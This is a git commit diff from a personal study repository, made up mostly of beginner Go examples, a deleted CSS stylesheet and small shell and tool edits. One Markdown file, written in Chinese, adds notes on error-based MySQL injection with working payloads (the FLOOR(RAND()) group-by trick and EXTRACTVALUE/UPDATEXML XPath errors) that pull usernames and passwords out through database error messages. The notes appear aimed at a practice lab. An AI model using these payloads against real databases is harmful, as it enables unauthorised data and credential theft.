From: acevest Date: Sat, 14 Nov 2015 05:55:53 +0000 (+0800) Subject: learn go X-Git-Url: http://zhaoyanbai.com/repos/%22http:/www.isc.org/icons/zpipe.c?a=commitdiff_plain;h=9d7c0ff58879e52213f43bd72d1f0befd9c2f770;p=acecode.git learn go --- diff --git a/documents/MySQLInjection.md b/documents/MySQLInjection.md index 8f0125d..125fdaf 100644 --- a/documents/MySQLInjection.md +++ b/documents/MySQLInjection.md @@ -127,4 +127,16 @@ else { ``` 本代码的特点是不会在网页上输出任何字段值。 ###2.注入思路 -由于程序代码并不在网页上显示任何字段,因此我们如果想要得到数据库的一些信息得另外想办法。有一个方法是利用程序执行SQL时产生的错误会显示到网页上这一点,将要显示的信息嵌入错误信息里。对于MySQL利用的模板代码为```select count(*), CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2)) x from information_schema.tables group by x;```会得到类似```ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'```的错误提示。 \ No newline at end of file +由于程序代码并不在网页上显示任何字段,因此我们如果想要得到数据库的一些信息得另外想办法。有一个方法是利用程序执行SQL时产生的错误会显示到网页上这一点,将要显示的信息嵌入错误信息里。对于MySQL利用的模板代码为```SELECT COUNT(*), CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;```会得到类似```ERROR 1062 (23000): Duplicate entry 'sqli@localhost1' for key 'group_key'```的错误提示。经典的MySQL报错代码还有 + +* ```SELECT 1,2 UNION SELECT COUNT(*), CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;``` +* ```SELECT COUNT(*) FROM (SELECT 1 UNION SELECT NULL UNION SELECT !1) GROUP BY CONCAT(CURRENT_USER(), FLOOR(RAND(0)*2))``` +* 如果RAND被禁,可以使用用户变量来报错 ```SELECT MIN(@a:=1) FROM information_schema.tables GROUP BY CONCAT(password, @a:=(@a+1)%2)``` + +在mysql 5.1版本中加入了两个XML函数,也可以用来报错 + +* ```mysql> SELECT * FROM users WHERE id=1 AND EXTRACTVALUE(1, CONCAT(0x5C, (SELECT username FROM users LIMIT 1))); +ERROR 1105 (HY000): XPATH syntax error: '\Dumb'``` +* ```mysql> SELECT * FROM users WHERE id=1 AND 1=(UPDATEXML(1, CONCAT(0x5E24, (SELECT password FROM users LIMIT 1), 0x5E24), 1)); +ERROR 1105 (HY000): XPATH syntax error: '^$Dumb^$'``` + diff --git a/learn/doc/GitHub2.Ace.css b/learn/doc/GitHub2.Ace.css deleted file mode 100755 index 5860b73..0000000 --- a/learn/doc/GitHub2.Ace.css +++ /dev/null @@ -1,307 +0,0 @@ -body { - font-family: Helvetica, arial, sans-serif; - font-size: 14px; - line-height: 1.6; - padding-top: 10px; - padding-bottom: 10px; - background-color: white; - padding: 30px; } - -body > *:first-child { - margin-top: 0 !important; } -body > *:last-child { - margin-bottom: 0 !important; } - -a { - color: #4183C4; } -a.absent { - color: #cc0000; } -a.anchor { - display: block; - padding-left: 30px; - margin-left: -30px; - cursor: pointer; - position: absolute; - top: 0; - left: 0; - bottom: 0; } - -h1, h2, h3, h4, h5, h6 { - margin: 20px 0 10px; - padding: 0; - font-weight: bold; - -webkit-font-smoothing: antialiased; - cursor: text; - position: relative; } - -h1 { - text-align: center;} - -h1:hover a.anchor, h2:hover a.anchor, h3:hover a.anchor, h4:hover a.anchor, h5:hover a.anchor, h6:hover a.anchor { - background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA09pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoMTMuMCAyMDEyMDMwNS5tLjQxNSAyMDEyLzAzLzA1OjIxOjAwOjAwKSAgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OUM2NjlDQjI4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OUM2NjlDQjM4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5QzY2OUNCMDg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5QzY2OUNCMTg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PsQhXeAAAABfSURBVHjaYvz//z8DJYCRUgMYQAbAMBQIAvEqkBQWXI6sHqwHiwG70TTBxGaiWwjCTGgOUgJiF1J8wMRAIUA34B4Q76HUBelAfJYSA0CuMIEaRP8wGIkGMA54bgQIMACAmkXJi0hKJQAAAABJRU5ErkJggg==) no-repeat 10px center; - text-decoration: none; } - -h1 tt, h1 code { - text-align:center; - font-size: inherit; } - -h2 tt, h2 code { - font-size: inherit; } - -h3 tt, h3 code { - font-size: inherit; } - -h4 tt, h4 code { - font-size: inherit; } - -h5 tt, h5 code { - font-size: inherit; } - -h6 tt, h6 code { - font-size: inherit; } - -h1 { - font-size: 28px; - color: black; } - -h2 { - font-size: 24px; - border-bottom: 1px solid #cccccc; - color: black; } - -h3 { - font-size: 18px; } - -h4 { - font-size: 16px; } - -h5 { - font-size: 14px; } - -h6 { - color: #777777; - font-size: 14px; } - -p, blockquote, ul, ol, dl, li, table, pre { - margin: 15px 0; } - -p { - text-indent: 2em; -} - -hr { - background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0; - border: 0 none; - color: #cccccc; - height: 4px; - padding: 0; -} - -body > h2:first-child { - margin-top: 0; - padding-top: 0; } -body > h1:first-child { - margin-top: 0; - padding-top: 0; } - body > h1:first-child + h2 { - margin-top: 0; - padding-top: 0; } -body > h3:first-child, body > h4:first-child, body > h5:first-child, body > h6:first-child { - margin-top: 0; - padding-top: 0; } - -a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 { - margin-top: 0; - padding-top: 0; } - -h1 p, h2 p, h3 p, h4 p, h5 p, h6 p { - margin-top: 0; } - -li p.first { - display: inline-block; } -li { - margin: 0; } -ul, ol { - padding-left: 30px; } - -ul :first-child, ol :first-child { - margin-top: 0; } - -dl { - padding: 0; } - dl dt { - font-size: 14px; - font-weight: bold; - font-style: italic; - padding: 0; - margin: 15px 0 5px; } - dl dt:first-child { - padding: 0; } - dl dt > :first-child { - margin-top: 0; } - dl dt > :last-child { - margin-bottom: 0; } - dl dd { - margin: 0 0 15px; - padding: 0 15px; } - dl dd > :first-child { - margin-top: 0; } - dl dd > :last-child { - margin-bottom: 0; } - -blockquote { - border-left: 4px solid #dddddd; - padding: 0 15px; - color: #777777; } - blockquote > :first-child { - margin-top: 0; } - blockquote > :last-child { - margin-bottom: 0; } - -table { - padding: 0;border-collapse: collapse; } - table tr { - border-top: 1px solid #cccccc; - background-color: white; - margin: 0; - padding: 0; } - table tr:nth-child(2n) { - background-color: #f8f8f8; } - table tr th { - font-weight: bold; - border: 1px solid #cccccc; - margin: 0; - padding: 6px 13px; } - table tr td { - border: 1px solid #cccccc; - margin: 0; - padding: 6px 13px; } - table tr th :first-child, table tr td :first-child { - margin-top: 0; } - table tr th :last-child, table tr td :last-child { - margin-bottom: 0; } - -img { - max-width: 100%; } - -span.frame { - display: block; - overflow: hidden; } - span.frame > span { - border: 1px solid #dddddd; - display: block; - float: left; - overflow: hidden; - margin: 13px 0 0; - padding: 7px; - width: auto; } - span.frame span img { - display: block; - float: left; } - span.frame span span { - clear: both; - color: #333333; - display: block; - padding: 5px 0 0; } -span.align-center { - display: block; - overflow: hidden; - clear: both; } - span.align-center > span { - display: block; - overflow: hidden; - margin: 13px auto 0; - text-align: center; } - span.align-center span img { - margin: 0 auto; - text-align: center; } -span.align-right { - display: block; - overflow: hidden; - clear: both; } - span.align-right > span { - display: block; - overflow: hidden; - margin: 13px 0 0; - text-align: right; } - span.align-right span img { - margin: 0; - text-align: right; } -span.float-left { - display: block; - margin-right: 13px; - overflow: hidden; - float: left; } - span.float-left span { - margin: 13px 0 0; } -span.float-right { - display: block; - margin-left: 13px; - overflow: hidden; - float: right; } - span.float-right > span { - display: block; - overflow: hidden; - margin: 13px auto 0; - text-align: right; } - -code, tt { - margin: 0 2px; - padding: 0 5px; - white-space: wrap; - border: 1px solid #eaeaea; - background-color: #f8f8f8; - border-radius: 3px; } - -pre code { - margin: 0; - padding: 0; - white-space: pre; - border: none; - background: transparent; } -code { - font-size:9px; } - -.highlight pre { - background-color: #f8f8f8; - border: 1px solid #cccccc; - font-size: 13px; - line-height: 19px; - overflow: auto; - padding: 6px 10px; - border-radius: 3px; } - -pre { - background-color: #f8f8f8; - border: 1px solid #cccccc; - font-size: 13px; - line-height: 19px; - overflow: auto; - padding: 6px 10px; - border-radius: 3px; } - pre code, pre tt { - background-color: transparent; - border: none; } - -sup { - font-size: 0.83em; - vertical-align: super; - line-height: 0; -} -* { - -webkit-print-color-adjust: exact; -} -@media screen and (min-width: 914px) { - body { - width: 854px; - margin:0 auto; - } -} -@media print { - table, pre { - page-break-inside: avoid; - } - pre { - word-wrap: break-word; - } -} diff --git a/learn/doc/mac_bash_profile b/learn/doc/mac_bash_profile index 08a89dd..042b6ee 100644 --- a/learn/doc/mac_bash_profile +++ b/learn/doc/mac_bash_profile @@ -1,3 +1,7 @@ +#HISTCONTROL=ignoredups # 连续相同的命令只会记录一次 +#HISTCONTROL=ignorespace # 命令前加空格避免记入历史 +HISTCONTROL=ignoreboth + export PATH=/usr/local/sbin:$PATH export PATH="$(brew --prefix homebrew/php/php56)/bin:$PATH" export PATH=/Users/Ace/sys/bin:$PATH @@ -8,4 +12,3 @@ alias ll='ls -lGh' alias ls='ls -Gh' alias rm='rm -rf' alias msf='msfconsole' - diff --git a/learn/go/array.slice.map.go b/learn/go/array.slice.map.go new file mode 100644 index 0000000..6bdc5fe --- /dev/null +++ b/learn/go/array.slice.map.go @@ -0,0 +1,131 @@ +package main + +import "fmt" + +type Vector struct { + x, y uint32 +} + + +// map在使用前必须使用make而不是new来创建,值为nil的map是空的,并且不能赋值 +var Map map[string]Vector + +func main() { + // [n]T 表示array + var array [2]string + array[0] = "HELLO" + array[1] = "GO" + + fmt.Println(array[0], array[1]) + fmt.Println(array) + + var a int = 1 + fmt.Println(a) + b := [2]string{"haha", "hehe"} + var c [2]string = [2]string{"a", "b"} + // ERROR: var c [2]string = {"a", "b"} + fmt.Println(b) + fmt.Println(c) + + + // SLICE + // []T 表示slice + var slice []string + fmt.Println("Slice len", len(slice), "cap", cap(slice)) + // slice 的零值是 `nil`。 + if slice == nil { + fmt.Println("Slice is nil") + } + slice = array[:] + fmt.Println(slice) + fmt.Println("Slice len", len(slice), "cap", cap(slice)) + + // 清空slice + slice = nil + fmt.Println("Slice len", len(slice), "cap", cap(slice)) + + // 构造slice + S := make([]int, 5/*length*/, 10/*cap*/) // cap >= length + fmt.Println("Slice s len", len(S), "cap", cap(S)) + + d := []byte{'a', 'b', 'c'} + fmt.Println(d) + var e []string = []string{"a", "b", "c"} + + // 向slice中添加元素 + e = append(e, "append:d") + e = append(e, "append:e", "append:f") + + for i := 0; i < len(e); i++ { + fmt.Println(e[i]) + } + + // range + for i, v := range d { + fmt.Println(i, v) + } + + // 如果只需要索引值,去掉`value`部分就可以了 + for i := range(e) { + fmt.Println(i) + } + + // 如果只需要`value`部分,索引部分可以直接用`_`来忽略 + for _, v := range(e) { + fmt.Println(v) + } + + + if Map == nil { + fmt.Println("Map is nil") + } + Map = make(map[string]Vector) + if Map == nil { + fmt.Println("Map is nil") + } else { + fmt.Println("Map is not nil") + } + Map["LeftTop"] = Vector{0, ^uint32(0)} + Map["LeftBottom"] = Vector{0, 0} + Map["RightBottom"] = Vector{^uint32(0), 0} + Map["RightTop"] = Vector{^uint32(0), ^uint32(0)} + + fmt.Println(Map) + fmt.Println(Map["RightTop"]) + fmt.Println(Map["RightTops"]) + + + var MapA=map[string]string { + "Apple" : "USA", + "Google" : "USA", + "Tencent" : "CHN", + } + + fmt.Println(MapA) + + // insert + MapA["Test"] = "Unknown" + fmt.Println(MapA) + + // modify + MapA["Test"] = "USA" + fmt.Println(MapA) + + var s string + var ok bool + s, ok = MapA["Test"] + if !ok { + fmt.Printf("Key:Test not in\n") + } else { + fmt.Printf("Key:Test = %s\n", s) + } + + // delete + delete(MapA, "Test") + fmt.Println(MapA) + + _, ok = MapA["Test"] + if !ok { + fmt.Println("Key:Test not in") + } +} diff --git a/learn/go/for.go b/learn/go/for.go new file mode 100644 index 0000000..a022cdc --- /dev/null +++ b/learn/go/for.go @@ -0,0 +1,46 @@ +/* + * ------------------------------------------------------------------------ + * File Name: for.go + * Author: Zhao Yanbai + * 2015-11-14 10:31:59 Saturday CST + * Description: none + * ------------------------------------------------------------------------ + */ + package main + + import "fmt" + import "time" + import "math/rand" + + func main() { + + rand.Seed(time.Now().UnixNano()) + + // basic for + sum := 0 + for i:=0; i<10; i++ { + sum += i + } + + fmt.Println("Sum:", sum) + + + // 与C语言一样 go 的for 前置、后置条件可以为空 + sum = 1 + for ; sum <= 1000; { + sum += sum + } + + fmt.Println("Sum:", sum) + + // for 也是go的 'while' + for sum >= 0 { + sum -= rand.Intn(100) + } + + fmt.Println("Sum:", sum) + + // 死循环 + // for { + // } + } diff --git a/learn/go/hello/hello.go b/learn/go/hello.go similarity index 84% rename from learn/go/hello/hello.go rename to learn/go/hello.go index 61438ad..8cb1807 100644 --- a/learn/go/hello/hello.go +++ b/learn/go/hello.go @@ -60,12 +60,18 @@ var xa, xb, xc = true, "xb", 0xDD func main() { + // defer 的参数会立刻生成,但是只是在程序结束时调用 defer fmt.Println("----------------") rand.Seed(time.Now().UnixNano()) + n := 0 for i := 0; i < rand.Intn(10)+1; i++ { fmt.Println(GetStr()) + n = i } + // defer 会逆序调用 + defer fmt.Println("n:", n) + PrintType() fmt.Println(Add(3, 543)) @@ -101,4 +107,15 @@ func main() { // const sd := sa fmt.Println(BigInt, ConstStr) + + + + // 指针, go 语言没有指针运算 + var pi *int + pj := &n + pi = pj + + *pj = 123 + + fmt.Println(n, *pi, *pj, pi, pj) } diff --git a/learn/go/hello/array.go b/learn/go/hello/array.go deleted file mode 100644 index ef03af9..0000000 --- a/learn/go/hello/array.go +++ /dev/null @@ -1,33 +0,0 @@ -package main - -import "fmt" - -func main() { - var array [2]string - array[0] = "HELLO" - array[1] = "GO" - - fmt.Println(array[0], array[1]) - fmt.Println(array) - - var a int = 1 - fmt.Println(a) - b := [2]string{"haha", "hehe"} - var c [2]string = [2]string{"a", "b"} - // ERROR: var c [2]string = {"a", "b"} - fmt.Println(b) - fmt.Println(c) - - // SLICE - d := []byte{'a', 'b', 'c'} - fmt.Println(d) - var e []string = []string{"a", "b", "c"} - - for i := 0; i < len(e); i++ { - fmt.Println(e[i]) - } - - for i, v := range d { - fmt.Println(i, v) - } -} diff --git a/learn/go/hello/struct.1.go b/learn/go/hello/struct.1.go deleted file mode 100644 index b6bbc7d..0000000 --- a/learn/go/hello/struct.1.go +++ /dev/null @@ -1,17 +0,0 @@ -package main - -import "fmt" - -type Vertex struct { - X int - Y int -} - -func main() { - v := Vertex{1, 2} - fmt.Println(v) - - p := &v - p.X = 2 - fmt.Println(v) -} diff --git a/learn/go/hello/switch.1.go b/learn/go/hello/switch.1.go deleted file mode 100644 index 8a10f04..0000000 --- a/learn/go/hello/switch.1.go +++ /dev/null @@ -1,32 +0,0 @@ -package main - -import ( - "fmt" - "runtime" - "time" -) - -func main() { - fmt.Print("Go runs on ") - switch os := runtime.GOOS; os { - case "darwin": - fmt.Println("OS X.") - case "linux": - fmt.Println("Linux.") - default: - // freebsd, openbsd, - // plan9, windows... - fmt.Printf("%s.", os) - } - - t := time.Now() - switch { - case t.Hour() < 12: - fmt.Println("Good morning!") - case t.Hour() < 17: - fmt.Println("Good afternoon.") - default: - fmt.Println("Good evening.") - } - -} diff --git a/learn/go/if.go b/learn/go/if.go new file mode 100644 index 0000000..9c8305e --- /dev/null +++ b/learn/go/if.go @@ -0,0 +1,35 @@ +/* + * ------------------------------------------------------------------------ + * File Name: if.go + * Author: Zhao Yanbai + * 2015-11-14 10:58:10 Saturday CST + * Description: none + * ------------------------------------------------------------------------ + */ +package main +import ( + "fmt" + "time" + "math/rand" +) + +func main() { + rand.Seed(time.Now().UnixNano()) + + n := rand.Int() + if n % 2 == 0 { + fmt.Println("Even:", n) + } else { + fmt.Println("Odd:", n) + } + + + // if 语句在条件之前可以执行一条简单的代码 + if v := rand.Int(); v % 3 == 0 { + fmt.Println(v, " MOD 3 == 0") + } else if v % 3 == 1 { + fmt.Println(v, " MOD 3 == 1") + } else { + fmt.Println(v, " MOD 3 == 2") + } +} diff --git a/learn/go/struct.go b/learn/go/struct.go new file mode 100644 index 0000000..1e23335 --- /dev/null +++ b/learn/go/struct.go @@ -0,0 +1,26 @@ +package main + +import "fmt" +import "time" +import "math/rand" + +type Vertex struct { + X int + Y int +} + +func main() { + rand.Seed(time.Now().UnixNano()) + + v := Vertex{1, 2} + fmt.Println(v) + fmt.Println(Vertex{0xABC, 0xCBA}) + + // 通过指针间隔访问的过程是透明的 + p := &v + p.X = rand.Int() + p.Y = rand.Int() + fmt.Println(v) + v.X, v.Y = p.Y, p.X + fmt.Println(v.X, v.Y) +} diff --git a/learn/go/switch.go b/learn/go/switch.go new file mode 100644 index 0000000..5132c92 --- /dev/null +++ b/learn/go/switch.go @@ -0,0 +1,54 @@ +package main + +import ( + "fmt" + "runtime" + "time" + "math/rand" +) + +func main() { + rand.Seed(time.Now().UnixNano()) + fmt.Print("Go runs on ") + switch os := runtime.GOOS; os { + case "darwin": + fmt.Println("OS X.") + case "linux": + fmt.Println("Linux.") + default: + // freebsd, openbsd, + // plan9, windows... + fmt.Printf("%s.", os) + } + + // switch 可以没有表达示,将变为一个更清晰的if-then-else的代码结构 + t := time.Now() + switch { + case t.Hour() < 12: + fmt.Println("Good morning!") + case t.Hour() < 17: + fmt.Println("Good afternoon.") + default: + fmt.Println("Good evening.") + } + + //fallthrough + switch v:=rand.Intn(4); v { + case 0: + fmt.Println("Level0") + fallthrough + case 1: + fmt.Println("Level1") + fallthrough + case 2: + fmt.Println("Level2") + fallthrough + case 3: + fmt.Println("Level3") + fallthrough + default: + fmt.Println("Ground") + } + + +} diff --git a/tools/comm/cs b/tools/comm/cs index 8d96f31..9201fb5 100755 --- a/tools/comm/cs +++ b/tools/comm/cs @@ -29,6 +29,7 @@ use constant SSTYLE => cmb=>"", my %s = ("c" => {CSTYLE}, "cc" => {CSTYLE}, + "go" => {CSTYLE}, "cpp" => {CSTYLE}, "h" => {CSTYLE}, "pl" => {env=>"#!/usr/bin/env perl\n", SSTYLE},